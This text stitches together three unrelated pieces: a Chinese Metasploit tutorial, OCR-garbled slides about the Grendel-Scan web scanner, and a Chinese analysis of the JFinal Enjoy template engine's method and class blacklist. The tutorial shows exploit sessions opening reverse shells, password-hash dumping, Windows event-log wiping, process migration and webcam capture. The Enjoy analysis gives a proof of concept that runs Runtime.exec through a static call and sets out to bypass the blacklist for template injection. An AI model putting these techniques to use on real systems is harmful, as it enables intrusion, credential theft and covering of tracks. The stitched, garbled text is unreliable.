在 Backtrack 5 中,Metasploit 自带 PostgreSQL,监听端口是 7337,所需无须其他配
置。我们可以在’msfconsole’中使用’db_status’来确认 Metasploit 已经成功连接数据库.
注: 数据库配置文件位于/opt/metasploit/apps/pro/ui/config/database.yml
development:
adapter: "postgresql"
database: "msf3"
username: "msf3"
password: "4bfedfd3"
port: 7337
host: "localhost"
pool: 256
timeout: 5
production:
adapter: "postgresql"
database: "msf3"
username: "msf3"
password: "4bfedfd3"
port: 7337
host: "localhost"
pool: 256
timeout: 5
msf > db_status
[*] postgresql connected to msf3
一旦连接到数据库,我们就可以使用’workspace’组织一次不同的动作。使用 workspace 我们
可以保存不同区域/网络/子网的不同结果。使用 workspace 会显示出当前工作区列
表,’default’是连接到数据库时默认使用的工作区,名称前有 *显示。
msf > workspace
* default
msfu
lab1
lab2
lab3
lab4
msf >
如果想要改变当前工作区域,可以使用’workspace name’,例如:
msf > workspace msfu
[*] Workspace: msfu
msf > workspace
default
* msfu
lab1
lab2
lab3
lab4
msf >
创建和删除工作区域,分别使用’-a’和’-d’,
msf > workspace -a lab4
[*] Added workspace: lab4
msf >
msf > workspace -d lab4
[*] Deleted workspace: lab4
msf > workspace
如果想要了解更多关于 workspace 的用法,请使用’-h’
msf > workspace -h
Usage:
workspace List workspaces
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -r <old> <new> Rename workspace
workspace -h Show this help information
msf >
Importing & Scanning
使用’db_import’可以导入我们需要的文件(以某些格式 XML 为主)。
如果想要导入一次 nmap 的扫描结果,可以使用下面方法.
msf > db_import /root/msfu/nmapScan
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host 172.16.194.172
[*] Successfully imported /root/msfu/nmapScan
msf > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
msf >
导入完成以后,我们可以使用’hosts’命令来查看这次的导入,当前工作区域的主机都会显示出
来。我们可以直接使用’db_nmap’进行扫描,扫描的结果会保存在当前数据库中。这个命令等效
于命令行下的’nmap’。
msf > db_nmap -V
[*] Nmap: Nmap version 5.61TEST4 ( http://nmap.org )
[*] Nmap: Platform: i686-pc-linux-gnu
[*] Nmap: Compiled with: nmap-liblua-5.1.3 openssl-0.9.8x libpcre-8.30
libpcap-1.2.1 nmap-libdnet-1.12 ipv6
建议使用新版的 nmap,然后导入结果。
Backing Up
将 Metasploit 数据导出,我们可以使用’db_export’,以 XML 文件格式保存。这种格式的文
件使用起来很便利,也可用于后期产生报告。这个命令有两种输出格式,’XML’格式可以导出工作
区域所有的信息,’pwdump’格式用于导出证书相关的信息。
msf > db_export -h
Usage:
db_export -f [-a] [filename]
Format can be one of: xml, pwdump
[-] No output file was specified
msf > db_export -f xml /root/msfu/Exported.xml
[*] Starting export of workspace msfu to /root/msfu/Exported.xml
[ xml ]...
[*] >> Starting export of report
[*] >> Starting export of hosts
[*] >> Starting export of events
[*] >> Starting export of services
[*] >> Starting export of credentials
[*] >> Starting export of web sites
[*] >> Starting export of web pages
[*] >> Starting export of web forms
[*] >> Starting export of web vulns
[*] >> Finished export of report
[*] Finished export of workspace msfu to /root/msfu/Exported.xml
[ xml ]...
Hosts
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
-a,--add Add the hosts instead of searching
-d,--delete Delete the hosts instead of searching
-c <col1,col2> Only show the given columns (see list below)
-h,--help Show this help information
-u,--up Only show hosts which are up
-o <file> Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
Available columns: address, arch, comm, comments, created_at, info, mac,
name, note_count, os_flavor,
os_lang, os_name, os_sp, purpose, scope, service_count, state,
updated_at, virtual_host, vuln_count
使用’-c’查看指定列对应的信息,
msf > hosts -c address,os_flavor
Hosts
=====
address os_flavor
------- ---------
172.16.194.134 XP
172.16.194.172 Ubuntu
Setting up Modules
另外一个很有吸引力的特性是,它有能力查询所有条目,用于指定目的。设想如果我们希望找到
Linux 类型的主机用于扫描,我们可以使用’-S’参数.
msf > hosts -c address,os_flavor -S Linux
Hosts
=====
address os_flavor
------- ---------
172.16.194.172 Ubuntu
msf >
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
注意,我们未对’RHOSTS’进行设置,我们接下来会使用 hosts 命令的’-R’参数,来运行这个模
块。
msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R
Hosts
=====
address os_flavor
------- ---------
172.16.194.172 Ubuntu
RHOSTS => 172.16.194.172
msf auxiliary(tcp) > run
[*] 172.16.194.172:25 - TCP OPEN
[*] 172.16.194.172:23 - TCP OPEN
[*] 172.16.194.172:22 - TCP OPEN
[*] 172.16.194.172:21 - TCP OPEN
[*] 172.16.194.172:53 - TCP OPEN
[*] 172.16.194.172:80 - TCP OPEN
...snip...
[*] 172.16.194.172:5432 - TCP OPEN
[*] 172.16.194.172:5900 - TCP OPEN
[*] 172.16.194.172:6000 - TCP OPEN
[*] 172.16.194.172:6667 - TCP OPEN
[*] 172.16.194.172:6697 - TCP OPEN
[*] 172.16.194.172:8009 - TCP OPEN
[*] 172.16.194.172:8180 - TCP OPEN
[*] 172.16.194.172:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
如果结果中包含多个地址,这种方法也是会起作用的。
msf auxiliary(tcp) > hosts -R
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server
172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server
RHOSTS => 172.16.194.134 172.16.194.172
msf auxiliary(tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per
host
FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 172.16.194.134 172.16.194.172 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
如果我们的数据库中有成百上千条数据,我们可以查询 Windows 机器,并指定 RHOSTS,然后执
行 smb_version 扫描。
Services
查询数据库,也可以使用’services’命令。
msf > services -h
Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...]
-a,--add Add the services instead of searching
-d,--delete Delete the services instead of searching
-c <col1,col2> Only show the given columns
-h,--help Show this help information
-s <name1,name2> Search for a list of service names
-p <port1,port2> Search for a list of ports
-r <protocol> Only show [tcp|udp] services
-u,--up Only show services which are up
-o <file> Send output to a file in csv format
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
Available columns: created_at, info, name, port, proto, state,
updated_at
同 hosts 命令一样,我们可以指定显示区域.指定’-S’,可以查找一个包含指定字符串的服务.
msf > services -c name,info 172.16.194.134
Services
========
host name info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 msrpc Microsoft Windows RPC
172.16.194.134 netbios-ssn
172.16.194.134 http Apache httpd 2.2.17 (Win32)
mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds
172.16.194.134 mysql
msf > services -c name,info -S http
Services
========
host name info
---- ---- ----
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17
OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17
OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1
172.16.194.172 http Apache httpd 2.2.8 (Ubuntu) DAV/2
172.16.194.172 http Apache Tomcat/Coyote JSP engine 1.1
msf > services -c info,name -p 445
Services
========
host info name
---- ---- ----
172.16.194.134 Microsoft Windows XP microsoft-ds microsoft-ds
172.16.194.172 Samba smbd 3.X workgroup: WORKGROUP netbios-ssn
msf > services -c port,proto,state -p 70-81
Services
========
host port proto state
---- ---- ----- -----
172.16.194.134 80 tcp open
172.16.194.172 75 tcp closed
172.16.194.172 71 tcp closed
172.16.194.172 72 tcp closed
172.16.194.172 73 tcp closed
172.16.194.172 74 tcp closed
172.16.194.172 70 tcp closed
172.16.194.172 76 tcp closed
172.16.194.172 77 tcp closed
172.16.194.172 78 tcp closed
172.16.194.172 79 tcp closed
172.16.194.172 80 tcp open
172.16.194.172 81 tcp closed
msf > services -s http -c port 172.16.194.134
Services
========
host port
---- ----
172.16.194.134 80
172.16.194.134 443
msf > services -S Unr
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.194.172 6667 tcp irc open Unreal ircd
172.16.194.172 6697 tcp irc open Unreal ircd
CSV Export
hosts 和 services 命令让我们可以将查询的结果保存到指定 CSV 文件.
msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv
[*] Wrote services to /root/msfu/http.csv
msf > hosts -S Linux -o /root/msfu/linux.csv
[*] Wrote hosts to /root/msfu/linux.csv
msf > cat /root/msfu/linux.csv
[*] exec: cat /root/msfu/linux.csv
address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server",""
,""
msf > cat /root/msfu/http.csv
[*] exec: cat /root/msfu/http.csv
host,port
"172.16.194.134","80"
"172.16.194.134","443"
Creds
‘creds’命令用于用于管理数据库中的证书.
msf > creds -h
Usage: creds [addr range]
Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>
-a,--add Add creds to the given addresses instead of
listing
-d,--delete Delete the creds instead of searching
-h,--help Show this help information
-o <file> Send output to a file in csv format
-p,--port <portspec> List creds matching this port spec
-s <svc names> List creds matching these service names
-t,--type <type> Add a cred of this type (only with -a). Default:
password
-u,--user Add a cred for this user (only with -a).
Default: blank
-P,--password Add a cred with this password (only with -a).
Default: blank
-R,--rhosts Set RHOSTS from the results of the search
-S,--search Search string to filter by
Examples:
creds # Default, returns all active credentials
creds all # Returns all credentials active or not
creds 1.2.3.4/24 # nmap host specification
creds -p 22-25,445 # nmap port specification
creds 10.1.*.* -s ssh,smb all
msf > creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
192.168.100.140 445 wix password124 password true
收集用户证书对完成一次深入的渗透测试是很重要的。如果我们收集到一些证书,我们可以使
用’creds -a’将它们加入数据库.
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P
7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134
port=445 proto=tcp sname= type=password user=Administrator
pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:
:: active=true
msf > creds
Credentials
===========
host port user pass
type active?
---- ---- ---- ----
---- -------
172.16.194.134 445 Administrator
7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
password true
[*] Found 1 credential.
Loot
一旦你攻入一个系统,其中要做的一件事就是获取 hash 值,不管是 Windows 还是*nix 系统,
一旦成功获取 hash 值,这些信息会被存储在我们的数据库中,我们可以使用’loot’命令,查看
hash 缓存。
msf > loot -h
Usage: loot [-h] [addr1 addr2 ...] [-t ]
-t Search for a list of types
-h,--help Show this help information
-S,--search Search string to filter by
下面给个例子,进行说明.
msf exploit(usermap_script) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 ->
172.16.194.172:55138) at 2012-06-27 19:38:54 -0400
^Z
Background session 1? [y/N] y
msf exploit(usermap_script) > use post/linux/gather/hashdump
msf post(hashdump) > show options
Module options (post/linux/gather/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module
on.
msf post(hashdump) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell unix 172.16.194.163:4444 ->
172.16.194.172:55138 (172.16.194.172)
msf post(hashdump) > run
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
[*] Post module execution completed
msf post(hashdump) > loot
Loot
====
host service type name content
info path
---- ------- ---- ---- -------
---- ----
172.16.194.172 linux.hashes unshadowed_passwd.pwd
text/plain Linux Unshadowed Password File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208
.txt
172.16.194.172 linux.passwd passwd.tx
text/plain Linux Passwd File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644
.txt
172.16.194.172 linux.shadow shadow.tx
text/plain Linux Password Shadow File
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948
.txt
About the Metasploit Meterpreter
Meterpreter 是一个高级,动态扩展的 payload,在内存中使用 DLL 注入 stagers(参阅
payload 分类),即时通过网络扩展。它使用一个 stager socket 进行通信,并提供一个客户
端 Ruby API 接口。它支持命令记录,tab 自动完成,频道等功能。Meterpreter 最早由
skape 为 Metasploit 2.x。开发很多常规的扩展,分离用于 3.x 版本,3.3 版的时候对其进
行了检查维护。
服务器部分由纯 C 的代码实现,由 MSVC 编译,并可进行移植。
客户端可以以任意语言实现,Metasploit 采用的是 Ruby client API。
How Meterpreter Works
目标启用初始化的 stager.这个 stager 通常是 bind,reverse,findtag,passivex
其中之一。
这个 stager 用于加载 DLL.
Meterpreter 核心初始化,并在 socket 基础上建立一个 TLS/1.0 的连接,然后发送
一个 GET 请求,Meterpreter 接受到 GET 请求,并配置客户端。
最后,Meterpreter 加载扩展,如果拥有管理员权限,Meterpreter 会加载 stdapi
和 priv。大部分的扩展是通过 TLS/1.0 使用 TLV 协议加载的。
Meterpreter Design Goals
Stealthy
Meterpreter 驻留在内存中,不会写入任何内容到磁盘。
Meterpreter 的启用,不用创建新的进程,当然也可以迁移到之前的进程中。
Meterpreter 在默认情况下,使用的是加密会话。
受害者机器上很难发现留下的痕迹。
Powerful
Meterpreter 使用了一个信道通信系统
TLV 协议拥有很少的限制。
Extensible
可通过网络在运行的时候加载
直接添加到 Meterpreter,不用重新编译
Adding Runtime Features
可以通过扩展,为 Meterpreter 添加一些新的特性。
客户端可以通过 socket 上传 DLL
服务端可加载 DLL 到内存并对其初始化
新的扩展可在服务端进行注册
客户端可以调用本地扩展 API,调用服务器端的功能.
Meterpreter Basics
Contents
1 help
2 background
3 cat
4 cd & pwd
5 clearev
6 download
7 edit
8 execute
9 getuid
10 hashdump
11 idletime
12 ipconfig
13 lpwd & lcd
14 ls
15 migrate
16 ps
17 resource
18 search
19 shell
20 upload
21 webcam_list
22 webcam_snap
help
meterpreter > help core
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
background
meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
cat
meterpreter > cat
Usage: cat file
Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis
meterpreter >
cd & pwd
lcd & lpwd 用于对客户端当前路径进行切换.
cd & pwd 用于切换服务端(即受害者)路径.
meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >
clearev
用于清除 windows 系统,应用程序,系统,安全日志.该命令无可选参数.
meterpreter > getuid
Server username: lab-III\lab # windows 7 - administrator
meterpreter > clearev
[*] Wiping 5661 records from Application...
[*] Wiping 14380 records from System...
[*] Wiping 6545 records from Security...
getuid
查看 meterpreter 当前会话用户.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
hashdump
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY
3c32186b0d441bb3c04431e2864a44d0...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c
59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0:::
Mix:1000:aad3b435b51404eeaad3b435b51404ee:decbfc2e758039e3df9e1054e55b0
2ec:::
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is
incorrect.
idletime
查看 meterpreter 当前权限用户的闲置时间.
meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >
migrate
migrate 用于进程迁移,有时候在获取 meterpreter 权限后,需要立即做迁移以保住权限.
meterpreter > migrate -h
[-] A process ID must be specified, not a process name
meterpreter > migrate 2528
[*] Migrating to 2528...
[*] Migration completed successfully.
ps
用于查看进程信息.
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
132 VMwareUser.exe C:\Program Files\VMware\VMware
Tools\VMwareUser.exe
152 VMwareTray.exe C:\Program Files\VMware\VMware
Tools\VMwareTray.exe
288 snmp.exe C:\WINDOWS\System32\snmp.exe
...snip...
resource
‘resource’命令可以从文本文件获取 meterpreter 命令,每一行对应一个命令,
默认,该命令将分别以当前目录为工作目录.
meterpreter > resource
Usage: resource path1 path2Run the commands stored in the supplied
files.
meterpreter >
path1:
命令文件的位置[攻击者机器].
Path2Run:
命令对那个文件夹产生作用[受害者机器]
meterpreter > resource res_cmd D:\\temp\\
[*] Reading /root/Desktop/res_cmd
[*] Running ls
Listing: D:\temp
================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2013-06-26 13:50:06 +0800 .
40777/rwxrwxrwx 0 dir 1980-01-01 00:30:00 +0830 ..
40777/rwxrwxrwx 0 dir 2013-06-24 13:52:01 +0800 temp
100666/rw-rw-rw- 97643815 fil 2013-06-26 13:50:06 +0800 jdk-7u25-
linux-i586.tar.gz
search
‘search’命令可用于查找目标机器上面的文件.
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d <opt> The directory/drive to begin searching from. Leave empty
to search all drives. (Default: )
-f <opt> The file pattern glob to search for. (e.g. *secret*.doc?)
-h Help Banner.
-r <opt> Recursivly search sub directories. (Default: true)
meterpreter > search -f cmd.exe C:\
Found 15 results...
c:\\Windows\System32\cmd.exe (302592 bytes)
c:\\Windows\winsxs\x86_microsoft-windows-
commandprompt_31bf3856ad364e35_6.1.7601.17514_none_8d1430a8789ea27a\cmd
.exe (302592
meterpreter > search -d E:\\ -f cmd.exe
Found 1 result...
E:\temp\cmd.exe (470016 bytes)
shell
meterpreter > shell
Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
execute
meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
webcam_list
查看可用的网络摄像头
meterpreter > webcam_list
1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW)
meterpreter >
webcam_snap
获取网络摄像头快照
meterpreter > webcam_snap -h
Usage: webcam_snap [options]
Grab a frame from the specified webcam.
OPTIONS:
-h Help Banner
-i <opt> The index of the webcam to use (Default: 1)
-p <opt> The JPEG image path (Default: 'gnFjTnzi.jpeg')
-q <opt> The JPEG image quality (Default: '50')
-v <opt> Automatically view the JPEG image (Default: 'true')
meterpreter >
-h:
Displays the help information for the command
-i opt:
If more then 1 web cam is connected, use this option to select the
device to capture the image from
-p opt:
Change path and filename of the image to be saved
-q opt:
The imagine quality, 50 being the default/medium setting, 100 being
best quality
-v opt:
By default the value is true, which opens the image after capture.
meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/yFMaalLB.jpeg
meterpreter > | pdf |
Grendel Scan
Grendel-Scan
Distribution
Written entirely in Java
Written entirely in Java
Uses Eclipse’s Standard Widget Toolkit (SWT)
Windows, Linux and Mac builds
Only requirement is JRE 1.5 or later
Primary Libraries
Apache HTTP Components - http://hc apache org/
Apache HTTP Components http://hc.apache.org/
Highly modified version of the Cobra HTML DOM
parsing engine - http://lobobrowser.org/cobra.jsp
Apache Derby (embeded SQL database) -
http://db.apache.org/
M
ill Rhi
(J
S
i t
i
)
Mozilla Rhino (JavaScript engine) -
http://www.mozilla.org/rhino/ Miscellaneous
Apache Commons components -
p
p
http://commons.apache.org/
Nikto 2 database (used with permission)
Design Philosophy
False positives vs false negatives
False positives vs. false negatives
False positives are easy to manually test for
False negatives require a full pen test to find
False negatives require a full pen test to find
Extensibility
Pushing abstract logic to shared libraries
simplifies test module development
Application Walkthrough
Product Roadmap
Version 1 1
Version 1.1
Multi-part MIME encoded POST bodies
SSL/TLS configuration testing
PDF and XML report formats
Support for one-time passwords &
authentication domains
Parameter incrementing
Upstream proxy authentication
Test module: Brute-force authentication
Test module: Brute-force authentication
Test module: Error-based username
enumeration
Product Roadmap
Version 1 2
Version 1.2
Automated AJAX navigation
Full featured HTTP fuzzer
Support for client SSL certificates
Version 1.3
Reports of new and remediated vulnerabilities
Reports of new and remediated vulnerabilities
between scans
Support for graphs in reports
Ability to save and resume scans
Ability to save and resume scans
Demonstration Environment
SLAX based LiveCD
SLAX-based LiveCD
Server (Typical LAMP Stack):
Apache HTTPD (from Slackware, defaults +
p
(
,
mod_php)
MySQL (from Slackware, defaults)
PHP 4
PHP 4
Zencart 1.1.2 (c. February 2004, known
vulnerabilities)
Client
Client
Mozilla FireFox 3.0
Grendel-Scan
Grendel-Scan Demonstration:
A t
t d & M
l T
ti
Automated & Manual Testing
Advantages of Automated Web
Scanners
Minimal training requirements
Minimal training requirements
Fast
Cheap
Cheap
Limitations of Automated Web
Scanners
Automated scanners cannot generally
Automated scanners cannot generally
detect:
Logic flaws (e.g. send -$1000 to another
account)
account)
Design flaws (e.g. weak password recovery
questions)
Improper application flow enforcement (e.g.
p ope app cat o
o
e
o ce
e t (e g
forced browsing)
Other limitations
Scanners cannot contextually understand an
Scanners cannot contextually understand an
application’s logic or data
Scanners typically generate far more traffic than
manual tests | pdf |
@Y4tacker
Enjoy模板引擎分析
前置
⾸先有关Enjoy模板引擎的⼀些描述可以看这⾥:https://jfinal.com/doc/6-1
⽂档中值得关注的点
属性访问触发get⽅法
在官⽅⽂档⾥⾯我们可以看到很多有趣的东西(当然我会更关注于⼀些相关的),⽐如属性访问
的这⼀条描述,可以让我们去触发对象的get⽅法(前提是public修饰)
⽅法调⽤
由于模板引擎的属性取值表达式极为常⽤,所以对其在⽤户体验上进⾏了符合直觉的扩展,field 表
达式取值优先次序,以 user.name 为例:
如果 user.getName() 存在,则优先调⽤
如果 user 具有 public 修饰过的name 属性,则取 user.name 属性值(注意:jfinal 4.0
之前这条规则的优先级最低)
关于⽅法调⽤也有⼀些描述,说可以直接调⽤对象上的任何public⽅法,使⽤规则与java中调
⽤⽅式保持⼀致,当然也不是所有⽅法都能调⽤,在源码的调试过程当中发现有⼀些⽅法在
⿊名单当中
除此以外也有⿊名单类
getClass
wait
notifyAll
getClassLoader
invoke
notify
getDeclaringClass
removeForbiddenMethod
removeForbiddenClass
suspend
resume
loadLibrary
forName
newInstance
exit
halt
stop
java.lang.ThreadGroup
java.lang.ProcessBuilder
java.lang.System
java.lang.ClassLoader
java.lang.reflect.Proxy
java.lang.Runtime
java.lang.Thread
java.lang.Class
com.jfinal.template.expr.ast.MethodKit
java.io.File
java.lang.reflect.Method
java.lang.InheritableThreadLocal
java.lang.Process
因此也给了我们更多的限制
静态属性访问
来个例⼦就懂了
静态⽅法的调⽤
同时⽀持调⽤静态属性上的⽅法
引擎执⾏流程简单分析
java.lang.ThreadLocal
java.lang.Package
java.lang.SecurityManager
java.lang.Compiler
java.lang.RuntimePermission
#if(x.status == com.demo.common.model.Account::STATUS_LOCK_ID)
<span>(账号已锁定)</span>
#end
#if(com.jfinal.kit.StrKit::isBlank(title))
....
#end
(com.jfinal.MyKit::me).method(paras)
以下不感兴趣可以直接略过,因为不需要⼀些很详细的分析就能bypass,只要我们知道过滤了
哪些类哪些⽅法针对绕过即可,这⾥权当⾃⼰好奇看看如何实现的,当然分析也只会主要去
看⼀些能让我成功实现执⾏不安全函数的⽅式(指的是 #() 与 #set() 两种),根据对⽂档的阅
读,个⼈认为其他标签对于我意义不⼤,因为我如果能够执⾏⼀个命令我需要的是能够回显 #
() ,或者我不能通过⼀步执⾏需要通过 #set(a=xxx) 的⽅式去拆分保存变量做中转,因此
我在分析调试的过程当中只会针对这两个标签进⾏分析
为了独⽴分析这⾥引⼊了maven坐标
⼀个基本的使⽤很简单,为了⽅便调试我写了个很简单的类
⾸先由于默认未开启缓存,默认⾛第⼀个分⽀
<dependency>
<groupId>com.jfinal</groupId>
<artifactId>enjoy</artifactId>
<version>4.9.21</version>
</dependency>
package com.example.ezsb;
public class User {
public static void run(){
try{
Runtime.getRuntime().exec("open -na Calculator");
}catch (Exception e){
}
}
}
Template template = engine.getTemplateByString("#
(com.example.ezsb.User::run())");
template.renderToString();
接下来我们看 com.jfinal.template.Engine#buildTemplateBySource ,同样我们只需要
更关注于解析部分也就是 parser.parse()
接下来我们先跟⼀下这个遍历字符串解析token的过程,⾸先是初步解析操作与内容,⽐如 #
(xxx) 他就会识别成 OUTPUT xxxx ) 三部分, #set("a=xxx") 也会拆分成 set a=xxx )
三部分 之后在statlist中,根据
是 TEXT\SET\FOR\OUTPUT\INCLUDE\FOR\DEFINE\CALL..... 等去做更进⼀步的解析
这⾥我们看看,⾸先当前位置⼀定是 # ,不然也没意义了,这⾥光看英⽂单词就知道我们更应
该专注看 com.jfinal.template.stat.Lexer#scanDire
这⾥如果 # 后⾯是 ( 也就直接对应了 OUTPUT ,如果不是则判断后⾯如果是字母则转到state为
10的分⽀(PS:后⾯那个如果是@则调⽤模板函数防⽌你们好奇),并设置对应的token
接下来我们看看state为10的地⽅做的什么⾸先通过id去获取symbol
简单看看这⾥⼀些内置的东西,如果没有的话就会去看是不是⾛define或者else if分⽀,当然
超纲了我上⾯说过的只看 #() 和 #set() ,这⾥就不深⼊谈了
接下来看debug窗⼜就和我们上⾯说的⼀样设置了下⾯的toknelist的内容
接下来我们继续看看 statList 函数(在上⼀步的基础上进⾏更进⼀步的解析),这⾥不管
是 OUTPUT 还是 SET 其实值得我们关注的核⼼调⽤是相同的,也就
是 this.parseExprList(para)
跟进 parseExprList ,⼀直到 com.jfinal.template.expr.ExprParser#parse ,我们
跟进这个scan
这⾥不再通篇像上⾯那样说如何解析的了,有兴趣可以⾃⼰看
这⾥我们只看⼏个关键的,在scanOperator⾥⾯,⼀个是 :: 作为STATIC静态标记,另⼀个是
左括号和又括号
在最终做完这些处理后,tokenList成了这个样⼦
接下来我们看看下⾯,⾸先initPeek会将peek设置为tokenList当中的第⼀个,之后默认会调
⽤ exprList
Expr parse(boolean isExprList) {
this.tokenList = (new ExprLexer(this.paraToken,
this.location)).scan();
if (this.tokenList.size() == 0) {
return ExprList.NULL_EXPR_LIST;
} else {
this.tokenList.add(EOF);
this.initPeek();
Expr expr = isExprList ? this.exprList() : this.forCtrl();
